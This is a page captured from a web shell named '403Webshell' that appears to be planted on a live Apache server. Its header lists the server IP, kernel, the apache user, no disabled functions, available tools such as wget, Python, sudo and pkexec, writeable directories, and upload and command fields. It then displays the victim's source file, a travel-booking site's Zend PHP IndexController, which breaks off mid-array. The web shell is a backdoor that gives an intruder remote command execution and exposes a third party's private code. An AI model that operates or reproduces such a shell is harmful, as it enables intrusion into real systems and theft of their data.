403Webshell
Server IP : 103.234.187.230  /  Your IP : 216.73.216.216
Web Server : Apache
System : Linux lserver42043-ind.megavelocity.net 3.10.0-1160.108.1.el7.x86_64 #1 SMP Thu Jan 25 16:17:31 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/tripsgateway/application/controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/tripsgateway/application/controllers/IndexController.php
<?php
/***************************************************************
* Catabatic Technology Pvt. Ltd.
* File Name     : IndexController.php
* File Desc.    : Index controller for home page front end
* Created By    : Ranvir Singh <ranvir@catpl.co.in>
* Created Date  : 25 May 2017
* Updated Date  : 14 Dec 2017
***************************************************************/

class IndexController extends Catabatic_CheckSession
{

    protected $objMdl;
    protected $tablename;
    protected $tablenameDestination;
    protected $baseUrl;
    protected $tollfreenumber;

    protected $objHelperGeneral;
    protected $per_page_record;
    
    public $_session;
    public $customerbookinglistAPIUrl;

    public $uploadPakcagePath;
    public $uploadDestinationPath;
    public $dummyImagePackage;
    public $dummyImageDestination;

    public $myNamespace;
    

    public function init() {
        parent::init();
        $aConfig = $this->getInvokeArg('bootstrap')->getOptions();
        $BootStrap  = $aConfig['bootstrap'];
        
        $this->siteName = $BootStrap['siteName'];
        $this->baseUrl  = $BootStrap['siteUrl'];
        $this->tollfreenumber  = $BootStrap['tollfreenumber'];
        
        $this->objMdl   = new Admin_Model_CRUD();
        
        $this->tablename    = "tb_tbb2c_packages_master";
        $this->tablenameTes = "tbl_testimonials";
        $this->tablenameDestination = "tb_tbb2c_destinations";
        $this->hotelTypeArr = ['Standard','Deluxe','Luxury'];
        
        $this->objHelperGeneral = $this->_helper->General;
        $this->per_page_record = 10;
        $this->_session = new Zend_Session_Namespace('Users');
        
        $this->uploadPakcagePath = 'public/upload/tours/';
        $this->uploadDestinationPath = 'public/upload/destinations/';

        $this->dummyImagePackage = 'default-tour.jpg';
        $this->dummyImageDestination = 'default-destination.jpg';
          
        $this->enableCache = $BootStrap['enableCache'];
        $this->packageTypeStatic = $BootStrap['packageTypeDynamic'];
 $this->tableClients = 'tbl_accreditations_client';
        
        $this->customerbookinglistAPIUrl = API_CUSTOMER_LIST; // from constant file
        
        $this->myNamespace = new Zend_Session_Namespace('MypopSess'); // get user end infomations
//         $this->_helper->layout->disableLayout();$destinationsInter
//        $this->_helper->_layout->setLayout('layout1')->setLayoutPath(APPLICATION_PATH.'/layouts/scripts');
    }

    
public function homeAction(){
 header("Location:".$this->baseUrl);
            exit;
}

     public function index1Action()
    {
$crud = new Admin_Model_CRUD();
$toursFinalFix = $toursFinal = array();
            $destinations1 = $this->objMdl->rv_select_all( $this->tablenameDestination , ['DesSysId','Title','Activities','Hotels','Tours','Image','DestDescription','Countries','destinationImage'], ['IsActive'=>1,'IsMarkForDel'=>0,'CountryIds'=>101], ['Title'=>'ASC'] );
         // echo '<pre>'; print_r(($destinations1)); die;
            $destinations2 = $this->objMdl->rv_select_all( $this->tablenameDestination , ['DesSysId','Title','Activities','Hotels','Tours','Image','DestDescription','Countries','destinationImage'], ['IsActive'=>1,'IsMarkForDel'=>0,'region_id'=>74], ['Title'=>'ASC'] );
            $destinationfinal = array_merge($destinations1,$destinations2);
          
            foreach ($destinationfinal as $desKey=>$desValue) {
                $finalDestinationAll[] = [
                    'DesSysId' =>$desValue['DesSysId'],
                    'Title' => strtolower(Catabatic_Helper::getSeoName($desValue['Title'])),
                     'Label' => $desValue['Title'],
                    'startingPrice' => $desValue['Activities'],
                     'Image' => 'public/upload/destinations/'.$desValue['DesSysId'].'/desimages/'.$desValue['destinationImage'],
                    'DestDescription' => $desValue['DestDescription'],
                    'Countries' => strtolower(Catabatic_Helper::getSeoName($desValue['Countries'])),
                ];
            }
            
         $destinationsInterfinal= $this->objMdl->getInternationalDestinationAll( $this->tablenameDestination , ['DesSysId','Title','Activities','Hotels','Tours','Image','DestDescription','CountryIds','Countries','destinationImage'],['IsActive'=>1,'IsFeatured'=>1,'IsMarkForDel'=>0], ['rand()'=>''] );
         
            
                 foreach ($destinationsInterfinal as $desKey=>$desValue) {
                $finalinterDestinationAll[] = [
                    'DesSysId' =>$desValue['DesSysId'],
                    'Title' => strtolower(Catabatic_Helper::getSeoName($desValue['Title'])),
                     'Label' => $desValue['Title'],
                    'startingPrice' => $desValue['Activities'],
                     'Image' => 'public/upload/destinations/'.$desValue['DesSysId'].'/desimages/'.$desValue['destinationImage'],
                    'DestDescription' => $desValue['DestDescription'],
                    'Countries' => strtolower(Catabatic_Helper::getSeoName($desValue['Countries'])),
                ];
            }



        $tbl_about_indoasia = $crud->rv_select_all('tbl_about_indoasia', ['*'], ['IsMarkForDel' => 0, 'status'=>1], ['AboutId' => 'DESC']);
          
         $this->view->tbl_about_indoasia = $tbl_about_indoasia;
        $destinations = $this->objMdl->rv_select_all( $this->tablenameDestination , ['DesSysId','Title','Activities','Hotels','Tours','destinationImage','Image','DestDescription','Countries'], ['IsActive'=>1,'IsFeatured'=>1,'IsMarkForDel'=>0], ['rand()'=>''] );
        $stateDom = $this->objMdl->rv_select_all( 'tbl_states' , ['StateSysId','title','seotitle','destinationImage','image','startingPrice','DestDescription','Countries'], ['displayOnHome'=>1,'IsMarkForDel'=>0,'CountryIds'=>101], ['rand()'=>'']  );
        $stateInt = $this->objMdl->rv_select_all( 'tbl_states' , ['StateSysId','title','seotitle','destinationImage','image','startingPrice','DestDescription','Countries'], ['displayOnHome'=>1,'IsMarkForDel'=>0,'CountryIds!'=>101], ['rand()'=>'']  );
     //echo '<pre>'; print_r($destinations); die;
        
        //$countryDom = $this->objMdl->rv_select_all( 'tbl_countries' , ['contSysId','title','seotitle','image','startingPrice','DestDescription','countryId'], ['displayOnHome'=>1,'IsMarkForDel'=>0,'countryId'=>101], ['rand()'=>'']  );
        $countryDom = $this->objMdl->rv_select_all( 'tbl_countries' , ['contSysId','title','seotitle','destinationImage','image','startingPrice','DestDescription','countryId'], ['displayOnHome'=>1,'IsMarkForDel'=>0,'region_id'=>74], ['rand()'=>'']  );
    //   echo '<pre>'; print_r($countryInt); die; 
        $countryInt = $this->objMdl->rv_select_all( 'tbl_countries' , ['contSysId','title','seotitle','destinationImage','image','startingPrice','DestDescription','countryId'], ['displayOnHome'=>1,'IsMarkForDel'=>0,'countryId!'=>101,'region_id!'=>74], ['rand()'=>'']  );
    
        $destinationsArr = array();
        $DestinationsArrFinal = array();
        $stateArrDom = array();
        $stateArrInt = array();
        $countryArrDom = array();
        $countryArrInt = array();

        foreach ($destinations as $desKey=>$desValue) {
            $destinationsArr[] = [
                'Title' => strtolower(Catabatic_Helper::getSeoName($desValue['Title'])),
                'Label' => $desValue['Title'],
                'startingPrice' => $desValue['Activities'],
                'destinationImage' => 'public/upload/destinations/'.$desValue['DesSysId'].'/desimages/'.$desValue['destinationImage'],
                'DestDescription' => $desValue['DestDescription'],
                'Countries' => strtolower(Catabatic_Helper::getSeoName($desValue['Countries'])),
            ];
            }
           //  echo '<pre>'; print_r($destinationsArr); die;
            foreach ($stateDom as $stateKey1=>$stateValue1) {
            $destinationImage = ($stateValue1['destinationImage'])?$stateValue1['destinationImage']:'0';
            $stateArrDom[] = [
               'Title' => $stateValue1['seotitle'],
               'Label' => $stateValue1['title'],
               'startingPrice' => isset($stateValue1['startingPrice']) ?$stateValue1['startingPrice'] : '',
               'destinationImage' => 'public/upload/state/desimages/'.$destinationImage,
               'DestDescription' => $stateValue1['DestDescription'],
               'Countries' => strtolower(Catabatic_Helper::getSeoName($stateValue1['Countries'])), 
                
                
            ];
            }
            
            foreach ($countryDom as $countryDomKey1=>$countryDomValue1) {
            $image = ($countryDomValue1['destinationImage'])?$countryDomValue1['destinationImage']:'0';
            $countryArrDom[] = [
               'Title' => $countryDomValue1['seotitle'],
               'Label' => $countryDomValue1['title'],
               'startingPrice' => isset($countryDomValue1['startingPrice']) ?$countryDomValue1['startingPrice'] : '',
               'destinationImage' => 'public/upload/country/desimages/'.$countryDomValue1['destinationImage'],
               'DestDescription' => $countryDomValue1['DestDescription'],
               'Countries' => $countryDomValue1['seotitle'], 
                
                
            ];
            }
          //  echo '<pre>'; print_r(($stateValue1['destinationImage'])); die;
            $DestinationsArrFinal = (array_merge($destinationsArr,$stateArrDom,$countryArrDom)); 
             foreach ($DestinationsArrFinal as $mkey1 => $mpart1) {
                $sort1[$mkey1] = ($mpart1['Label']);
            }
            if (count($DestinationsArrFinal) > 0) {
                array_multisort($sort1, SORT_ASC, $DestinationsArrFinal);
            }
            //asort($DestinationsArrFinal);
         // echo '<pre>'; print_r($DestinationsArrFinal); die;
        $destinationsInter= $this->objMdl->getInternationalDestination( $this->tablenameDestination , ['DesSysId','Title','Activities','Hotels','Tours','Image','DestDescription','CountryIds','Countries'], 12 );
          
        $destinationsInterArr = array();
        foreach ($destinationsInter as $intdesKey=>$intdesValue) {
            $destinationsInterArr[] = [
                'Title' => strtolower(Catabatic_Helper::getSeoName($intdesValue['Title'])),
                'Label' => $intdesValue['Title'],
                'startingPrice' => $intdesValue['Activities'],
                'Image' => 'public/upload/destinations/'.$intdesValue['DesSysId'].'/images/home/'.$intdesValue['Image'],
                'DestDescription' => $intdesValue['DestDescription'],
                'CountryIds' => $intdesValue['CountryIds'],
                'Countries' => strtolower(Catabatic_Helper::getSeoName($intdesValue['Countries'])),
            ];
            }
            
            foreach ($stateInt as $stateKey2=>$stateValue2) {
            $image = ($stateValue1['image'])?$stateValue1['image']:'0';
            $stateArrInt[] = [
               'Title' => $stateValue2['seotitle'],
               'Label' => $stateValue2['title'],
               'startingPrice' => isset($stateValue2['startingPrice']) ?$stateValue2['startingPrice'] : '',
               'Image' => 'public/upload/state/main/home/'.$image,
               'DestDescription' => $stateValue2['DestDescription'],
               'Countries' => strtolower(Catabatic_Helper::getSeoName($stateValue2['Countries'])),  
            ];
            }
            foreach ($countryInt as $countryIntKey1=>$countryIntValue1) {
            $image = ($countryIntValue1['image'])?$countryIntValue1['image']:'0';
            $countryArrInt[] = [
               'Title' => $countryIntValue1['seotitle'],
               'Label' => $countryIntValue1['title'],
               'startingPrice' => isset($countryIntValue1['startingPrice']) ?$countryIntValue1['startingPrice'] : '',
               'Image' => 'public/upload/country/main/home/'.$image,
               'DestDescription' => $countryIntValue1['DestDescription'],
               'Countries' =>$countryIntValue1['seotitle'], 
  
            ];
            }
            $destinationsInterArrFinal = (array_merge($destinationsInterArr,$stateArrInt,$countryArrInt)); 
            
            //  echo '<pre>'; print_r($destinationsInter); die;
             foreach ($destinationsInterArrFinal as $mkey2 => $mpart2) {
                $sort2[$mkey2] = ($mpart2['Label']);
            }
            if (count($destinationsInterArrFinal) > 0) {
                array_multisort($sort2, SORT_ASC, $destinationsInterArrFinal);
            }
 
    
    $trendingTours = $this->objMdl->rv_select_all('tb_tbb2c_packages_master', ['PkgSysId', 'Image', 'GTXPkgId', 'Destinations', 'Countries', 'BookingValidUntil', 'LongJsonInfo', 'Nights', 'StarRating', 'PackageType', 'PackageSubType','packageNameUrl'], ['IsActive' => 1,  'IsMarkForDel' => 0, 'ItemType' => 1, 'IsFeatured' => 1], ['PkgSysId' => 'DESC'], 12);
        

        foreach ($trendingTours as $key => $value) {
    
            $destinationArr = explode(',', $value['Destinations']); // get the first destination only by extracting array
            $LongJsonInfo = Zend_Json::decode($value['LongJsonInfo']);
            if(isset($_SESSION['TravelAgent']['session']) && !empty($_SESSION['TravelAgent']['session'])){
                $categoryDetails = $this->objHelperGeneral->getCategoryAndPriceArray($LongJsonInfo['package']['TourTypes']['MarketType'], 'B2B', $value['PackageType'], $value['PackageSubType']); // get default category
            }else {
                $categoryDetails = $this->objHelperGeneral->getCategoryAndPriceArray($LongJsonInfo['package']['TourTypes']['MarketType'], 'B2C', $value['PackageType'], $value['PackageSubType']); // get default category
            }
           $categoryDetails = $this->objHelperGeneral->getCategoryAndPriceArray($LongJsonInfo['package']['TourTypes']['MarketType'], 'B2C', $value['PackageType'], $value['PackageSubType']); // get default category

            $tourImage1 = explode(',', $value['Image']);
            $tourImage = $tourImage1[0];
  //echo '<pre>';print_r($trendingTours);echo '</pre>';die;
            $defaultCategoryId = $categoryDetails['defaultCategoryId'];
            $defaultCategory = $categoryDetails['defaultCategory'];
            $defaultTourType = $categoryDetails['defaultTourType'];
            $TPId = ($value['PackageType'] == $this->packageTypeStatic) ? $LongJsonInfo['package']['TPId'] : $categoryDetails['TPId'];
            $MPType = (!empty($categoryDetails['MPType']) && ($categoryDetails['MPType'] != 'LowestCost')) ? array_search($categoryDetails['MPType'], unserialize(CONST_MEAL_PLAN_ARR)) : 0;

            $tourTypeChar = ($defaultTourType == 1) ? 'P' : 'G'; // if private than P else G for Group tour type
            $priceArrJson = $categoryDetails['priceArrJson'];

            $displayFinalPrice = $this->objHelperGeneral->getPackagePrice($defaultCategory, $tourTypeChar, $priceArrJson, true);  // Param 4: true ( if calculate discounted price )
			$Destinations = explode(',', $value['Destinations']);
                       
                        $DestinationsStr = implode(', ',$Destinations);
                        
            $toursFinalPackage = [
                'name' => $this->objHelperGeneral->trimContent($LongJsonInfo['package']['Name'], 45),
                'nameF' => $LongJsonInfo['package']['Name'], // full name of package name
                'img' => $tourImage,
                'night' => $value['Nights'],
                 'Inclusions' =>$LongJsonInfo['package']['Inclusions'],
                'price' => $this->objHelperGeneral->moneyFormatINR(round($displayFinalPrice)),
                'star' => $value['StarRating'],
                'Destination' => $DestinationsStr,
                'Destination1' => $Destinations[0],
                'PkgSysId' => $value['PkgSysId'],
                'GTXPkgId' => $value['GTXPkgId'],
                'defaultCategoryId' => $defaultCategoryId,
                'defaultCategory' => $defaultCategory,
                'tourtype' => $defaultTourType,
                'TPId' => $TPId,
                'PackageType' => $value['PackageType'],
                'mp' => $MPType,
                'Countries' => $value['Countries'],
                'BookingValidUntil' => $value['BookingValidUntil'],
                'packageNameUrl' => $value['packageNameUrl'],
                'IsFixedDeparturePackage' => $LongJsonInfo['package']['IsFixedDeparturePackage'],
            ];
            if($LongJsonInfo['package']['IsFixedDeparturePackage'] == 1){
                $toursFinalFix[] = $toursFinalPackage;    
            }else{
                $toursFinal[] = $toursFinalPackage;    
            }
           
        }
        $this->view->destinationsInter = $destinationsInterArrFinal;
        $this->view->baseUrl    = $this->baseUrl;
        $this->view->destinations = $DestinationsArrFinal;
        
              
        $this->view->tollfreenumber  = $this->tollfreenumber;
    


        $testimonials  = $this->objMdl->rv_select_all('tbl_testimonials' , ['*'] , [ 'status'=>1,'IsFeatured'=>1 ] ,  ['id'=>'ASC'],3);
        //$ourPartners  = $this->objMdl->rv_select_all( 'tbl_ourpartner' , ['*'] , [ 'status'=>1 ] ,  ['id'=>'ASC']);
        $homebannerDetail  = $this->objMdl->rv_select_all('tb_homebanner_detail' , ['*'] , [ 'status'=>1 ] ,  ['banner_id'=>'ASC']);
        $homeexplorebannerDetail  = $this->objMdl->rv_select_all('tbl_home_explorebanner' , ['*'] , [ 'status'=>1 ] ,  ['banner_id'=>'ASC']);
        $exploreIcon  = $crud->rv_select_all("tbl_explore_icon", ['*'], ['status'],['Title' => 'ASC']);
 //echo '<pre>';print_r($exploreIcon);echo '</pre>';die;
        $this->view->homebannerDetail    = $homebannerDetail;
        $this->view->homeexplorebannerDetail    = $homeexplorebannerDetail;
       
        foreach($exploreIcon as $eKey => $eVal){
            $destina = trim($eVal['destination']); 
            $destinaArr = array();
            
            $desArr = $this->objMdl->rv_select_all_destinationByIds('tb_tbb2c_destinations',['Image','Title','DesSysId','Activities','DesId','Countries','exploreHomeDestination'],['Title'],'DesId',$destina);  
           
            $exploreIconFinal['exolore'][] = [
                'Title'=>$eVal['Title'],
                'Icon'=>$eVal['Icon'],
                'exploreImage1'=>$eVal['exploreImage1'],
                'exploreImage2'=>$eVal['exploreImage2'],
                'exploreImage3'=>$eVal['exploreImage3'],
                'exploreImage4'=>$eVal['exploreImage4'],
                'exploreImage5'=>$eVal['exploreImage5'],
                'id'=>$eVal['id'],
             ]; 
            foreach($desArr as $ddkey => $ddVal){
//                $exploreIconFinal['destData'][$eKey][] = $ddVal['Title']; 
//                $exploreIconFinal['destData'][$eKey][] = $ddVal['Title']; 
 //               $exploreIconFinal['destData'][$eKey][] = $ddVal['Title']; 
                  $exploreHomeDestinationOld[$ddVal['DesId']] = [
                    'Title'=> $ddVal['Title'],
                    'DesSysId'=> $ddVal['DesSysId'],
                    'Image'=> $ddVal['Image'],
                    'Countries'=> $ddVal['Countries'],
                    'exploreHomeDestination'=> $ddVal['exploreHomeDestination'],
                    'Activities'=> $ddVal['Activities'],
                ];   
            }  
            $destinaArr = explode(',',$destina); 
            foreach($destinaArr as $desnKey => $desnVal){
                $exploreHomeDestination[$eKey][] = $exploreHomeDestinationOld[$desnVal];    
            }
            
        }
        
         $this->view->exploreIcon    = $exploreIconFinal;
       
        $this->view->exploreHomeDestination1 = $exploreHomeDestination[0];
        $this->view->exploreHomeDestination2 = $exploreHomeDestination[1];
        $this->view->exploreHomeDestination3 = $exploreHomeDestination[2];
        $this->view->exploreHomeDestination4 = $exploreHomeDestination[3];
        $this->view->exploreHomeDestination5 = $exploreHomeDestination[4];
        $this->view->exploreHomeDestination6 = $exploreHomeDestination[5];
        $this->view->exploreHomeDestination7 = $exploreHomeDestination[6];
        //$this->view->ourPartners    = $ourPartners;
        $this->view->testimonials    = $testimonials;
        $this->view->baseUrl    = $this->baseUrl;
        $resullatestBlog  = $this->objMdl->rv_select_all('tbl_blog', ['*'],  ['IsMarkForDel'=>0,'status'=>1], ['BlogId'=>'DESC'],'4');
        $finalPackageThemes = $this->objMdl->rv_select_all('tbl_pack_type', ['packType', 'Title','label','Icon','largeIcon'], [ 'IsActive' => 1, 'isMarkForDel' => 0], ['packType' => 'ASC']);
      //  echo '<pre>'; print_r(($finalPackageThemes)); die;
        $this->view->finalPackageThemes = $finalPackageThemes;
        $this->view->resullatestBlog    = $resullatestBlog;
        $this->view->toursFinal = $toursFinal;
        $this->view->toursFinalFix = $toursFinalFix;

        $this->view->finalDestinationAll = $finalDestinationAll;
        $this->view->finalinterDestinationAll = $finalinterDestinationAll;
        $this->view->MobileDetect = $this->objHelperGeneral->getDevice();
}


 public function indexAction()
    {
$crud = new Admin_Model_CRUD();
$toursFinalFix = $toursFinal = array();
            $destinations1 = $this->objMdl->rv_select_all( $this->tablenameDestination , ['DesSysId','Title','Activities','Hotels','Tours','Image','DestDescription','Countries','destinationImage'], ['IsActive'=>1,'IsMarkForDel'=>0,'CountryIds'=>101], ['Title'=>'ASC'] );
         // echo '<pre>'; print_r(($destinations1)); die;
            $destinations2 = $this->objMdl->rv_select_all( $this->tablenameDestination , ['DesSysId','Title','Activities','Hotels','Tours','Image','DestDescription','Countries','destinationImage'], ['IsActive'=>1,'IsMarkForDel'=>0,'region_id'=>74], ['Title'=>'ASC'] );
            $destinationfinal = array_merge($destinations1,$destinations2);
          
            foreach ($destinationfinal as $desKey=>$desValue) {
                $finalDestinationAll[] = [
                    'DesSysId' =>$desValue['DesSysId'],
                    'Title' => strtolower(Catabatic_Helper::getSeoName($desValue['Title'])),
                     'Label' => $desValue['Title'],
                    'startingPrice' => $desValue['Activities'],
                     'Image' => 'public/upload/destinations/'.$desValue['DesSysId'].'/desimages/'.$desValue['destinationImage'],
                    'DestDescription' => $desValue['DestDescription'],
                    'Countries' => strtolower(Catabatic_Helper::getSeoName($desValue['Countries'])),
                ];
            }
            
         $destinationsInterfinal= $this->objMdl->getInternationalDestinationAll( $this->tablenameDestination , ['DesSysId','Title','Activities','Hotels','Tours','Image','DestDescription','CountryIds','Countries','destinationImage'] );
         
            
                 foreach ($destinationsInterfinal as $desKey=>$desValue) {
                $finalinterDestinationAll[] = [
                    'DesSysId' =>$desValue['DesSysId'],
                    'Title' => strtolower(Catabatic_Helper::getSeoName($desValue['Title'])),
                     'Label' => $desValue['Title'],
                    'startingPrice' => $desValue['Activities'],
                     'Image' => 'public/upload/destinations/'.$desValue['DesSysId'].'/desimages/'.$desValue['destinationImage'],
                    'DestDescription' => $desValue['DestDescription'],
                    'Countries' => strtolower(Catabatic_Helper::getSeoName($desValue['Countries'])),
                ];
            }



        $tbl_about_indoasia = $crud->rv_select_all('tbl_about_indoasia', ['*'], ['IsMarkForDel' => 0, 'status'=>1], ['AboutId' => 'DESC']);
          
         $this->view->tbl_about_indoasia = $tbl_about_indoasia;
        $destinations = $this->objMdl->rv_select_all( $this->tablenameDestination , ['DesSysId','Title','Activities','Hotels','Tours','destinationImage','Image','DestDescription','Countries'], ['IsActive'=>1,'IsFeatured'=>1,'IsMarkForDel'=>0,'CountryIds'=>101], ['rand()'=>''] );
        $destinationsInt = $this->objMdl->rv_select_all( $this->tablenameDestination , ['DesSysId','Title','Activities','Hotels','Tours','destinationImage','Image','DestDescription','Countries'], ['IsActive'=>1,'IsFeatured'=>1,'IsMarkForDel'=>0,'CountryIds!'=>101], ['rand()'=>''] );
            //    echo '<pre>'; print_r($destinationsInt); die;
        $stateDom = $this->objMdl->rv_select_all( 'tbl_states' , ['StateSysId','title','seotitle','destinationImage','image','startingPrice','DestDescription','Countries'], ['displayOnHome'=>1,'IsMarkForDel'=>0,'CountryIds'=>101], ['rand()'=>'']  );
        $stateInt = $this->objMdl->rv_select_all( 'tbl_states' , ['StateSysId','title','seotitle','destinationImage','image','startingPrice','DestDescription','Countries'], ['displayOnHome'=>1,'IsMarkForDel'=>0,'CountryIds!'=>101], ['rand()'=>'']  );

     
        $countryDom = $this->objMdl->rv_select_all( 'tbl_countries' , ['contSysId','title','seotitle','image','destinationImage','startingPrice','DestDescription','countryId'], ['displayOnHome'=>1,'IsMarkForDel'=>0,'countryId'=>101], ['rand()'=>'']  );
       // $countryDom = $this->objMdl->rv_select_all( 'tbl_countries' , ['contSysId','title','seotitle','destinationImage','image','startingPrice','DestDescription','countryId'], ['displayOnHome'=>1,'IsMarkForDel'=>0,'countryId'=>101,'region_id'=>74], ['rand()'=>'']  );
        //   echo '<pre>'; print_r($countryDom); die;
        $countryInt = $this->objMdl->rv_select_all( 'tbl_countries' , ['contSysId','title','seotitle','destinationImage','image','startingPrice','DestDescription','countryId'], ['displayOnHome'=>1,'IsMarkForDel'=>0,'countryId!'=>101,'region_id!'=>74], ['rand()'=>'']  );
         
        $destinationsArr = array();
        $DestinationsArrFinal = array();
        $stateArrDom = array();
        $destinationsIntArr = array();
        $stateArrInt = array();
        $countryArrDom = array();
        $countryArrInt = array();

        foreach ($destinations as $desKey=>$desValue) {
            $destinationsArr[] = [
                'Title' => strtolower(Catabatic_Helper::getSeoName($desValue['Title'])),
                'Label' => $desValue['Title'],
                'startingPrice' => $desValue['Activities'],
                'destinationImage' => 'public/upload/destinations/'.$desValue['DesSysId'].'/desimages/'.$desValue['destinationImage'],
                'DestDescription' => $desValue['DestDescription'],
                'Countries' => strtolower(Catabatic_Helper::getSeoName($desValue['Countries'])),
            ];
            }
           //  echo '<pre>'; print_r($destinationsArr); die;
            foreach ($stateDom as $stateKey1=>$stateValue1) {
            $destinationImage = ($stateValue1['destinationImage'])?$stateValue1['destinationImage']:'0';
            $stateArrDom[] = [
               'Title' => $stateValue1['seotitle'],
               'Label' => $stateValue1['title'],
               'startingPrice' => isset($stateValue1['startingPrice']) ?$stateValue1['startingPrice'] : '',
               'destinationImage' => 'public/upload/state/desimages/'.$destinationImage,
               'DestDescription' => $stateValue1['DestDescription'],
               'Countries' => strtolower(Catabatic_Helper::getSeoName($stateValue1['Countries'])), 
                
                
            ];
            }
            
            foreach ($countryDom as $countryDomKey1=>$countryDomValue1) {
            $image = ($countryDomValue1['destinationImage'])?$countryDomValue1['destinationImage']:'0';
            $countryArrDom[] = [
               'Title' => $countryDomValue1['seotitle'],
               'Label' => $countryDomValue1['title'],
               'startingPrice' => isset($countryDomValue1['startingPrice']) ?$countryDomValue1['startingPrice'] : '',
               'destinationImage' => 'public/upload/country/desimages/'.$countryDomValue1['destinationImage'],
               'DestDescription' => $countryDomValue1['DestDescription'],
               'Countries' => $countryDomValue1['seotitle'], 
                
                
            ];
            }
          //  echo '<pre>'; print_r(($stateValue1['destinationImage'])); die;
            $DestinationsArrFinal = (array_merge($destinationsArr,$stateArrDom,$countryArrDom)); 
           
             foreach ($DestinationsArrFinal as $mkey1 => $mpart1) {
                $sort1[$mkey1] = ($mpart1['Label']);
            }
            if (count($DestinationsArrFinal) > 0) {
                array_multisort($sort1, SORT_ASC, $DestinationsArrFinal);
            }
            //asort($DestinationsArrFinal);
         // echo '<pre>'; print_r($DestinationsArrFinal); die;
    //    $destinationsInter= $this->objMdl->getInternationalDestination( $this->tablenameDestination , ['DesSysId','Title','Activities','Hotels','Tours','Image','DestDescription','CountryIds','Countries'], 12 );
      //  $destinationsInterArr = array();
       
        foreach ($destinationsInt as $intdesKey=>$intdesValue) {
            $destinationsIntArr[] = [
                'Title' => strtolower(Catabatic_Helper::getSeoName($intdesValue['Title'])),
                'Label' => $intdesValue['Title'],
                'startingPrice' => $intdesValue['Activities'],
                'Image' => 'public/upload/destinations/'.$intdesValue['DesSysId'].'/desimages/main/'.$intdesValue['destinationImage'],
                'DestDescription' => $intdesValue['DestDescription'],
                'CountryIds' => $intdesValue['CountryIds'],
                'Countries' => strtolower(Catabatic_Helper::getSeoName($intdesValue['Countries'])),
            ];
            }
            
            foreach ($stateInt as $stateKey2=>$stateValue2) {
            $image = ($stateValue1['image'])?$stateValue1['image']:'0';
            $stateArrInt[] = [
               'Title' => $stateValue2['seotitle'],
               'Label' => $stateValue2['title'],
               'startingPrice' => isset($stateValue2['startingPrice']) ?$stateValue2['startingPrice'] : '',
               'Image' => 'public/upload/state/main/home/'.$image,
               'DestDescription' => $stateValue2['DestDescription'],
               'Countries' => strtolower(Catabatic_Helper::getSeoName($stateValue2['Countries'])),  
            ];
            }
            foreach ($countryInt as $countryIntKey1=>$countryIntValue1) {
            $image = ($countryIntValue1['destinationImage'])?$countryIntValue1['destinationImage']:'0';
          //  echo '<pre>';print_r($countryInt);echo '</pre>';die;
            
            $countryArrInt[] = [
               'Title' => $countryIntValue1['seotitle'],
               'Label' => $countryIntValue1['title'],
               'startingPrice' => isset($countryIntValue1['startingPrice']) ?$countryIntValue1['startingPrice'] : '',
               'Image' => 'public/upload/country/desimages/'.$image,
               'DestDescription' => $countryIntValue1['DestDescription'],
               'Countries' =>$countryIntValue1['seotitle'], 
  
            ];
            }
            $destinationsInterArrFinal = (array_merge($destinationsIntArr,$stateArrInt,$countryArrInt)); 
              //  echo '<pre>';print_r($destinationsInterArrFinal);echo '</pre>';die;
             
             foreach ($destinationsInterArrFinal as $mkey2 => $mpart2) {
                $sort2[$mkey2] = ($mpart2['Label']);
            }
            if (count($destinationsInterArrFinal) > 0) {
                array_multisort($sort2, SORT_ASC, $destinationsInterArrFinal);
            }
 
    
    $trendingTours = $this->objMdl->rv_select_all('tb_tbb2c_packages_master', ['PkgSysId', 'Image', 'GTXPkgId', 'Destinations', 'Countries', 'BookingValidUntil', 'LongJsonInfo', 'Nights', 'StarRating', 'PackageType', 'PackageSubType','packageNameUrl'], ['IsActive' => 1,  'IsMarkForDel' => 0, 'ItemType' => 1, 'IsFeatured' => 1], ['PkgSysId' => 'DESC'], 12);
        

        foreach ($trendingTours as $key => $value) {
    
            $destinationArr = explode(',', $value['Destinations']); // get the first destination only by extracting array
            $LongJsonInfo = Zend_Json::decode($value['LongJsonInfo']);
            if(isset($_SESSION['TravelAgent']['session']) && !empty($_SESSION['TravelAgent']['session'])){
                $categoryDetails = $this->objHelperGeneral->getCategoryAndPriceArray($LongJsonInfo['package']['TourTypes']['MarketType'], 'B2B', $value['PackageType'], $value['PackageSubType']); // get default category
            }else {
                $categoryDetails = $this->objHelperGeneral->getCategoryAndPriceArray($LongJsonInfo['package']['TourTypes']['MarketType'], 'B2C', $value['PackageType'], $value['PackageSubType']); // get default category
            }
           $categoryDetails = $this->objHelperGeneral->getCategoryAndPriceArray($LongJsonInfo['package']['TourTypes']['MarketType'], 'B2C', $value['PackageType'], $value['PackageSubType']); // get default category

            $tourImage1 = explode(',', $value['Image']);
            $tourImage = $tourImage1[0];
  //echo '<pre>';print_r($trendingTours);echo '</pre>';die;
            $defaultCategoryId = $categoryDetails['defaultCategoryId'];
            $defaultCategory = $categoryDetails['defaultCategory'];
            $defaultTourType = $categoryDetails['defaultTourType'];
            $TPId = ($value['PackageType'] == $this->packageTypeStatic) ? $LongJsonInfo['package']['TPId'] : $categoryDetails['TPId'];
            $MPType = (!empty($categoryDetails['MPType']) && ($categoryDetails['MPType'] != 'LowestCost')) ? array_search($categoryDetails['MPType'], unserialize(CONST_MEAL_PLAN_ARR)) : 0;

            $tourTypeChar = ($defaultTourType == 1) ? 'P' : 'G'; // if private than P else G for Group tour type
            $priceArrJson = $categoryDetails['priceArrJson'];

            $displayFinalPrice = $this->objHelperGeneral->getPackagePrice($defaultCategory, $tourTypeChar, $priceArrJson, true);  // Param 4: true ( if calculate discounted price )
			$Destinations = explode(',', $value['Destinations']);
                       
                        $DestinationsStr = implode(', ',$Destinations);
                        
            $toursFinalPackage = [
                'name' => $this->objHelperGeneral->trimContent($LongJsonInfo['package']['Name'], 45),
                'nameF' => $LongJsonInfo['package']['Name'], // full name of package name
                'img' => $tourImage,
                'night' => $value['Nights'],
                 'Inclusions' =>$LongJsonInfo['package']['Inclusions'],
                'price' => $this->objHelperGeneral->moneyFormatINR(round($displayFinalPrice)),
                'star' => $value['StarRating'],
                'Destination' => $DestinationsStr,
                'Destination1' => $Destinations[0],
